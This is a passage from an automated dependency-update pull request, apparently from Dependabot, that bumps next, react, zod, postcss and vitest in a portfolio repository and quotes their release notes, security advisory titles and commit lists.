view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `next` from 16.4.0 to 16.4.2\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/vercel/next.js/releases\"\u003enext's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev16.4.2\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e[lts-active] turbo-tasks snapshot consistency fixes (\u003ca href=\"https://redirect.github.com/vercel/next.js/issues/99644\"\u003e#99644\u003c/a\u003e, \u003ca href=\"https://redirect.github.com/vercel/next.js/issues/99732\"\u003e#99732\u003c/a\u003e, \u003ca href=\"https://redirect.github.com/vercel/next.js/issues/99649\"\u003e#99649\u003c/a\u003e) by \u003ca href=\"https://github.com/lukesandberg\"\u003e\u003ccode\u003e@​lukesandberg\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/next.js/pull/100002\"\u003evercel/next.js#100002\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e[lts-active] Turbopack: backport Pages Router dev module graph chaining (\u003ca href=\"https://redirect.github.com/vercel/next.js/issues/98823\"\u003e#98823\u003c/a\u003e, \u003ca href=\"https://redirect.github.com/vercel/next.js/issues/99910\"\u003e#99910\u003c/a\u003e, \u003ca href=\"https://redirect.github.com/vercel/next.js/issues/100091\"\u003e#100091\u003c/a\u003e) by \u003ca href=\"https://github.com/sokra\"\u003e\u003ccode\u003e@​sokra\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/next.js/pull/100008\"\u003evercel/next.js#100008\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e[lts-active] fix(next-code-frame): snap visible window to char boundaries by \u003ca href=\"https://github.com/lukesandberg\"\u003e\u003ccode\u003e@​lukesandberg\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/next.js/pull/100212\"\u003evercel/next.js#100212\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e[lts-active] [turbopack] Fix two GC paths that leave half-torn-down dependency edges by \u003ca href=\"https://github.com/lukesandberg\"\u003e\u003ccode\u003e@​lukesandberg\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/next.js/pull/100209\"\u003evercel/next.js#100209\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e[lts-active] Turbopack: Ignore realpath errors during module resolution, matching node's behavior by \u003ca href=\"https://github.com/lukesandberg\"\u003e\u003ccode\u003e@​lukesandberg\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/next.js/pull/100217\"\u003evercel/next.js#100217\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e[lts-active] Backport docs fixes since v16.4.0 by \u003ca href=\"https://github.com/icyJoseph\"\u003e\u003ccode\u003e@​icyJoseph\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/next.js/pull/100246\"\u003evercel/next.js#100246\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e[lts-active] Fix Turbopack lazy dynamic-import chunk-list collisions by \u003ca href=\"https://github.com/lukesandberg\"\u003e\u003ccode\u003e@​lukesandberg\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/next.js/pull/100211\"\u003evercel/next.js#100211\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e[lts-active] Backport additional documentation fixes since v16.4.0 by \u003ca href=\"https://github.com/aurorascharff\"\u003e\u003ccode\u003e@​aurorascharff\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/next.js/pull/100262\"\u003evercel/next.js#100262\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/vercel/next.js/compare/v16.4.1...v16.4.2\"\u003ehttps://github.com/vercel/next.js/compare/v16.4.1...v16.4.2\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003ev16.4.1\u003c/h2\u003e\n\u003cp\u003eThis release contains security fixes for the following advisories:\u003c/p\u003e\n\u003cp\u003eCritical:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vercel/next.js/security/advisories/GHSA-673q-mjm6-r5xr\"\u003eUnauthenticated Remote Code Execution in \u003ccode\u003euse cache\u003c/code\u003e functions returning typed arrays\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vercel/next.js/security/advisories/GHSA-2464-fhr4-w9xw\"\u003eUnauthenticated Remote Code Execution in Image Optimization API when SVG files are used\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eHigh:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vercel/next.js/security/advisories/GHSA-p3m5-59mp-jv5r\"\u003eDenial of Service in App Router using Server Actions\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vercel/next.js/commit/2864b1772c37242a9b40ab4d366eb7d368c2a070\"\u003e\u003ccode\u003e2864b17\u003c/code\u003e\u003c/a\u003e v16.4.2\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vercel/next.js/commit/a42cb59277f55420a2b059ca92d30e46ac460309\"\u003e\u003ccode\u003ea42cb59\u003c/code\u003e\u003c/a\u003e Revert \u0026quot;[lts-active] Keep requests through middleware in a single OpenTelemet...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vercel/next.js/commit/f0760ec6f27058940fb1b8eaa80fd7cc0123e8d2\"\u003e\u003ccode\u003ef0760ec\u003c/code\u003e\u003c/a\u003e [lts-active] Backport additional documentation fixes since v16.4.0 (\u003ca href=\"https://redirect.github.com/vercel/next.js/issues/100262\"\u003e#100262\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vercel/next.js/commit/845007af1da12aeb88ca7b78fd1680800ae19ced\"\u003e\u003ccode\u003e845007a\u003c/code\u003e\u003c/a\u003e [lts-active] Fix Turbopack lazy dynamic-import chunk-list collisions (\u003ca href=\"https://redirect.github.com/vercel/next.js/issues/100211\"\u003e#100211\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vercel/next.js/commit/6a79d8aa8a0892435eacf0273f2e683ecff046d8\"\u003e\u003ccode\u003e6a79d8a\u003c/code\u003e\u003c/a\u003e [lts-active] Backport docs fixes since v16.4.0 (\u003ca href=\"https://redirect.github.com/vercel/next.js/issues/100246\"\u003e#100246\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vercel/next.js/commit/a75a78275811867edf576f6cbea12217de9bb57d\"\u003e\u003ccode\u003ea75a782\u003c/code\u003e\u003c/a\u003e [lts-active] Keep requests through middleware in a single OpenTelemetry trace...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vercel/next.js/commit/8ad85240ecb590f0a6eda249d5a0fda6b7ee29c8\"\u003e\u003ccode\u003e8ad8524\u003c/code\u003e\u003c/a\u003e [lts-active] Turbopack: Ignore realpath errors during module resolution, matc...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vercel/next.js/commit/29d030e8e7b17c0c11a6a066e9465a7bcddad5d8\"\u003e\u003ccode\u003e29d030e\u003c/code\u003e\u003c/a\u003e [lts-active] [turbopack] Fix two GC paths that leave half-torn-down dependenc...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vercel/next.js/commit/3e50b8225c9a26ac0f47417480c3b9d214d3f459\"\u003e\u003ccode\u003e3e50b82\u003c/code\u003e\u003c/a\u003e [lts-active] fix(next-code-frame): snap visible window to char boundaries (\u003ca href=\"https://redirect.github.com/vercel/next.js/issues/1\"\u003e#1\u003c/a\u003e...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vercel/next.js/commit/9458fb99cd4b4eaf2962a07190b5f948a320fc26\"\u003e\u003ccode\u003e9458fb9\u003c/code\u003e\u003c/a\u003e [lts-active] Turbopack: backport Pages Router dev module graph chaining (\u003ca href=\"https://redirect.github.com/vercel/next.js/issues/988\"\u003e#988\u003c/a\u003e...\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/vercel/next.js/compare/v16.4.0...v16.4.2\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `react` from 19.3.0 to 19.3.1\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/react/react/releases\"\u003ereact's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e19.3.1 (October 14th, 2026)\u003c/h2\u003e\n\u003ch2\u003eReact Server Components\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eImprove transport protocol (\u003ca href=\"https://redirect.github.com/facebook/react/pull/37845\"\u003e#37845\u003c/a\u003e by \u003ca href=\"https://github.com/unstubbable\"\u003e\u003ccode\u003e@​unstubbable\u003c/code\u003e\u003c/a\u003e and \u003ca href=\"https://github.com/eps1lon\"\u003e\u003ccode\u003e@​eps1lon\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/react/react/commit/61aa00df822d0eb76d0362eb8b6fdd3527693efe\"\u003e\u003ccode\u003e61aa00d\u003c/code\u003e\u003c/a\u003e [19.3.x][Flight] Improve transport protocol (\u003ca href=\"https://github.com/react/react/tree/HEAD/packages/react/issues/37845\"\u003e#37845\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/react/react/commits/v19.3.1/packages/react\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `react-dom` from 19.3.0 to 19.3.1\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/react/react/releases\"\u003ereact-dom's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e19.3.1 (October 14th, 2026)\u003c/h2\u003e\n\u003ch2\u003eReact Server Components\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eImprove transport protocol (\u003ca href=\"https://redirect.github.com/facebook/react/pull/37845\"\u003e#37845\u003c/a\u003e by \u003ca href=\"https://github.com/unstubbable\"\u003e\u003ccode\u003e@​unstubbable\u003c/code\u003e\u003c/a\u003e and \u003ca href=\"https://github.com/eps1lon\"\u003e\u003ccode\u003e@​eps1lon\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/react/react/commit/61aa00df822d0eb76d0362eb8b6fdd3527693efe\"\u003e\u003ccode\u003e61aa00d\u003c/code\u003e\u003c/a\u003e [19.3.x][Flight] Improve transport protocol (\u003ca href=\"https://github.com/react/react/tree/HEAD/packages/react-dom/issues/37845\"\u003e#37845\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/react/react/commits/v19.3.1/packages/react-dom\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `zod` from 4.6.5 to 4.6.7\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/colinhacks/zod/releases\"\u003ezod's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev4.6.7\u003c/h2\u003e\n\u003ch2\u003eCommits:\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eb500a2ee95134f81d74da7911d7378dd2853d042 4.6.7\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003ev4.6.6\u003c/h2\u003e\n\u003cblockquote\u003e\n\u003cp\u003eSix malicious commits pushed to \u003ccode\u003emain\u003c/code\u003e on September 21 with a compromised git credential were reverted the same day in \u003ca href=\"https://redirect.github.com/colinhacks/zod/issues/6620\"\u003e#6620\u003c/a\u003e and have since been removed from the history of \u003ccode\u003emain\u003c/code\u003e. None were ever published to npm. The npm provenance for 4.6.6 names 284243fb, the pre-rewrite copy of 9c219833 with identical contents.\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch2\u003eCommits:\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e0cd3af5e9f50ad11bbcd4407a46a21b8848ba574 docs: load the en locale directly in Zod Mini\u003c/li\u003e\n\u003cli\u003e9d5e60f162997b764b40d45aa02481888db50dea docs: import locales from zod/locales, not z.locales\u003c/li\u003e\n\u003cli\u003e34a626f307871ecbb0123947559328dc52ed5e3e docs: tighten the z.locales tree-shaking note\u003c/li\u003e\n\u003cli\u003e74304ce5b5796b5edb9a88ceb8e170b6ea3e82df release: stage npm versions instead of publishing them (\u003ca href=\"https://redirect.github.com/colinhacks/zod/issues/6622\"\u003e#6622\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eb2ef983e0711ff6517d6020b021071e2e5653efa docs: add Code for Japan to bronze sponsors\u003c/li\u003e\n\u003cli\u003e8fb2faf0584828a6a027d8279db36f6f52784462 docs: crop the Code for Japan logo and list it first in bronze\u003c/li\u003e\n\u003cli\u003ebacad518c41610d654658172d325874bf0ee6290 docs: square the Code for Japan logo to match the other bronze tiles\u003c/li\u003e\n\u003cli\u003ec42596bd1c87e941d7241d10e012c5c196adcc10 release: hold the run on the release-approval environment until the staged versions are approved (\u003ca href=\"https://redirect.github.com/colinhacks/zod/issues/6638\"\u003e#6638\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003ea2ba4a67986a3e6b2b131be30084a2f460d9ea67 fix(types): declare record output and input as members, not base type arguments (\u003ca href=\"https://redirect.github.com/colinhacks/zod/issues/6645\"\u003e#6645\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003ea0ebf970f2d752e5f58527cd2942ff48be4f46bd fix(v4): check array, set and map size bounds before parsing elements (\u003ca href=\"https://redirect.github.com/colinhacks/zod/issues/6652\"\u003e#6652\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e529f78dd9431b07f49647fee3aa0819b3f8b66b7 4.6.6\u003c/li\u003e\n\u003cli\u003e9c219833c3a3764fa1f1ea9c5ecec8254a63c0b1 ci: stage at verbose so a failed OIDC token exchange says why\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/colinhacks/zod/commit/b500a2ee95134f81d74da7911d7378dd2853d042\"\u003e\u003ccode\u003eb500a2e\u003c/code\u003e\u003c/a\u003e 4.6.7\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/colinhacks/zod/commit/9c219833c3a3764fa1f1ea9c5ecec8254a63c0b1\"\u003e\u003ccode\u003e9c21983\u003c/code\u003e\u003c/a\u003e ci: stage at verbose so a failed OIDC token exchange says why\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/colinhacks/zod/commit/529f78dd9431b07f49647fee3aa0819b3f8b66b7\"\u003e\u003ccode\u003e529f78d\u003c/code\u003e\u003c/a\u003e 4.6.6\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/colinhacks/zod/commit/a0ebf970f2d752e5f58527cd2942ff48be4f46bd\"\u003e\u003ccode\u003ea0ebf97\u003c/code\u003e\u003c/a\u003e fix(v4): check array, set and map size bounds before parsing elements (\u003ca href=\"https://redirect.github.com/colinhacks/zod/issues/6652\"\u003e#6652\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/colinhacks/zod/commit/a2ba4a67986a3e6b2b131be30084a2f460d9ea67\"\u003e\u003ccode\u003ea2ba4a6\u003c/code\u003e\u003c/a\u003e fix(types): declare record output and input as members, not base type argumen...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/colinhacks/zod/commit/c42596bd1c87e941d7241d10e012c5c196adcc10\"\u003e\u003ccode\u003ec42596b\u003c/code\u003e\u003c/a\u003e release: hold the run on the release-approval environment until the staged ve...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/colinhacks/zod/commit/bacad518c41610d654658172d325874bf0ee6290\"\u003e\u003ccode\u003ebacad51\u003c/code\u003e\u003c/a\u003e docs: square the Code for Japan logo to match the other bronze tiles\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/colinhacks/zod/commit/8fb2faf0584828a6a027d8279db36f6f52784462\"\u003e\u003ccode\u003e8fb2faf\u003c/code\u003e\u003c/a\u003e docs: crop the Code for Japan logo and list it first in bronze\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/colinhacks/zod/commit/b2ef983e0711ff6517d6020b021071e2e5653efa\"\u003e\u003ccode\u003eb2ef983\u003c/code\u003e\u003c/a\u003e docs: add Code for Japan to bronze sponsors\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/colinhacks/zod/commit/74304ce5b5796b5edb9a88ceb8e170b6ea3e82df\"\u003e\u003ccode\u003e74304ce\u003c/code\u003e\u003c/a\u003e release: stage npm versions instead of publishing them (\u003ca href=\"https://redirect.github.com/colinhacks/zod/issues/6622\"\u003e#6622\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/colinhacks/zod/compare/v4.6.5...v4.6.7\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `postcss` from 8.5.29 to 8.5.31\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/postcss/postcss/releases\"\u003epostcss's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e8.5.31\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFix better source map on \u003ccode\u003e\u0026lt;/style\u0026gt;\u003c/code\u003e escaping (by \u003ca href=\"https://github.com/firefoxic\"\u003e\u003ccode\u003e@​firefoxic\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e8.5.30\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFix broken map on \u003ccode\u003e\u0026lt;/style\u0026gt;\u003c/code\u003e escaping (by \u003ca href=\"https://github.com/Rufflet\"\u003e\u003ccode\u003e@​Rufflet\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/postcss/postcss/blob/main/CHANGELOG.md\"\u003epostcss's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e8.5.31\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFix better source map on \u003ccode\u003e\u0026lt;/style\u0026gt;\u003c/code\u003e escaping (by \u003ca href=\"https://github.com/firefoxic\"\u003e\u003ccode\u003e@​firefoxic\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e8.5.30\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFix broken map on \u003ccode\u003e\u0026lt;/style\u0026gt;\u003c/code\u003e escaping (by \u003ca href=\"https://github.com/Rufflet\"\u003e\u003ccode\u003e@​Rufflet\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/d1908579d6af4155ee5f759030184fb4c2b575ec\"\u003e\u003ccode\u003ed190857\u003c/code\u003e\u003c/a\u003e Release 8.5.31 version\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/4ef6d8cc0307df09c21a63b5521285657966ece3\"\u003e\u003ccode\u003e4ef6d8c\u003c/code\u003e\u003c/a\u003e Update dependencies\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/6abd674231f7867d1c37e6b71bc8d6e00165fd27\"\u003e\u003ccode\u003e6abd674\u003c/code\u003e\u003c/a\u003e Call the builder with every node when the output is escaped (\u003ca href=\"https://redirect.github.com/postcss/postcss/issues/2175\"\u003e#2175\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/f1aca7ec68ab0cfb96cc9e69520a87f641c5a9e4\"\u003e\u003ccode\u003ef1aca7e\u003c/code\u003e\u003c/a\u003e Release 8.5.30 version\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/9d8344589299ca90f4ec0a4fab899e357995eaad\"\u003e\u003ccode\u003e9d83445\u003c/code\u003e\u003c/a\u003e Update dependencies\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/6c9bc73d9d2ad2c9c8e998ace707ebe067bc8425\"\u003e\u003ccode\u003e6c9bc73\u003c/code\u003e\u003c/a\u003e Fix invalid source map mapping on escaping before new line (\u003ca href=\"https://redirect.github.com/postcss/postcss/issues/2169\"\u003e#2169\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/1fd8f881875330b284d65961c2c158f61d4e3bab\"\u003e\u003ccode\u003e1fd8f88\u003c/code\u003e\u003c/a\u003e Add missed changes in changelog\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/postcss/postcss/compare/8.5.29...8.5.31\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `vitest` from 4.1.11 to 4.1.12\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/vitest-dev/vitest/releases\"\u003evitest's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev4.1.12\u003c/h2\u003e\n\u003ch3\u003e   🐞 Bug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003emocker\u003c/strong\u003e: Harden manual and redirect mocks [backport to v4]  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11580\"\u003evitest-dev/vitest#11580\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/b82531324\"\u003e\u003c!-- raw HTML omitted --\u003e(b8253)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch5\u003e    \u003ca href=\"https://github.com/vitest-dev/vitest/compare/v4.1.11...v4.1.12\"\u003eView changes on GitHub\u003c/a\u003e\u003c/h5\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/4766ce1e72ded629d3a37637f57eeae643789a8c\"\u003e\u003ccode\u003e4766ce1\u003c/code\u003e\u003c/a\u003e chore: release v4.1.12 (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/11610\"\u003e#11610\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/5bf2197a185429a99a59efdb4192f9b5be1309fb\"\u003e\u003ccode\u003e5bf2197\u003c/code\u003e\u003c/a\u003e chore: delete wdio folder from v4 branch to avoid falsy release (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/11581\"\u003e#11581\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/vitest-dev/vitest/commits/v4.1.12/packages/vitest\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\n\nDependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting `@dependabot rebase`.\n\n[//]: # (dependabot-automerge-start)\n[//]: # (dependabot-automerge-end)\n\n---\n\n\u003cdetails\u003e\n\u003csummary\u003eDependabot commands and options\u003c/summary\u003e\n\u003cbr /\u003e\n\nYou can trigger Dependabot actions by commenting on this PR:\n- `@dependabot rebase` will rebase this PR\n- `@dependabot recreate` will recreate this PR, overwriting any edits that have been made to it\n- `@dependabot show \u003cdependency name\u003e ignore conditions` will show all of the ignore conditions of the specified dependency\n- `@dependabot ignore \u003cdependency name\u003e major version` will close this group update PR and stop Dependabot creating any more for the specific dependency's major version (unless you unignore this specific dependency's major version or upgrade to it yourself)\n- `@dependabot ignore \u003cdependency name\u003e minor version` will close this group update PR and stop Dependabot creating any more for the specific dependency's minor version (unless you unignore this specific dependency's minor version or upgrade to it yourself)\n- `@dependabot ignore \u003cdependency name\u003e` will close this group update PR and stop Dependabot creating any more for the specific dependency (unless you unignore this specific dependency or upgrade to it yourself)\n- `@dependabot unignore \u003cdependency name\u003e` will remove all of the ignore conditions of the specified dependency\n- `@dependabot unignore \u003cdependency name\u003e \u003cignore condition\u003e` will remove the ignore condition of the specified dependency and ignore conditions\n\n\n\u003c/details\u003e","html_url":"https://github.com/Rllyyy/portfolio/pull/200","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/Rllyyy%2Fportfolio/issues/200","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/200/packages"}}]}